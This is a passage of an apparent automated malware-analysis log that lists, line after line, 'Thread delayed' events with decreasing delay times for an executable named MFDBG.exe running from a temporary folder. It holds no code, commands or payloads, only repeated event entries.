Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590468 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590271 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590069 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 589829 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 589625 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 589360 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 589172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588954 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588657 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588114 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587936 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587746 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587567 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587333 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586886 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586650 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586479 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586250 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585625 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585435 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585196 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584826 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584609 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584412 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584219 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584032 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583827 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583610 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583016 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582749 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582532 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582363 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582174 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582012 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 581829 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 581647 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 581395 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 581110 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580820 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580245 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579985 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579813 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579593 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579421 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579236 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579023 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 578719 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 578516 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 578219 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577625 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577425 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577231 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577086 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576976 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576704 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576184 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575938 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575730 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575087 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574860 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574667 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574444 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574250 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573985 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573762 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573578 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573373 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573193 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572516 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572276 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572059 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571907 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571733 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571577 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571249 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571022 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570837 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570661 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570478 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570157 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569657 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569468 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569297 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569096 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568873 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568684 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568454 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568256 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567860 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567320 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567147 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566907 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566680 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566467 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566295 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565938 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565419 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565213 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564641 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564426 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564235 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564032 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563829 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563598 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563110 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562938 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562688 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561797 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561640 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561442 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561282 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561123 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560909 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560714 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560498 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560329 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560140 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559897 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559716 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559563 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559344 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558984 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558753 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558593 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558436 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558282 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558091 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557844 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557657 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557469 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557266 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557044 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556655 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556455 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556286 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556110 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555956 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555749 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555549 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555329 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554922 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554674 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554442 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554224 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 553954 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 553625 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 553141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552969 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552782 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552563 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552420 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552261 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552078 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551900 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551702 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551485 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551250 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551032 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550563 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550372 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549938 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549735 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549360 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549022 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 548813 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 548063 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547771 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547500 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547296 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546704 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546528 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546079 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545610 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545293 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545061 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 544797 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 544391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 543875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 543636 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 543407 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542704 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542235 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541969 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541735 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541544 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541349 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541154 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 540916 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 540700 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539974 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539766 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539586 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539406 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538954 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538728 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538538 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538312 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538117 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537933 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537708 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537516 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537329 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537120 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536958 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536780 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536581 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536421 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535987 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535766 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535573 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535242 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534888 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534672 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534454 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534282 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533897 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533672 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533514 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533357 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533125 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532916 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532754 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532375 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532204 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532014 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531854 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531672 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531485 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531317 Jump to behavior
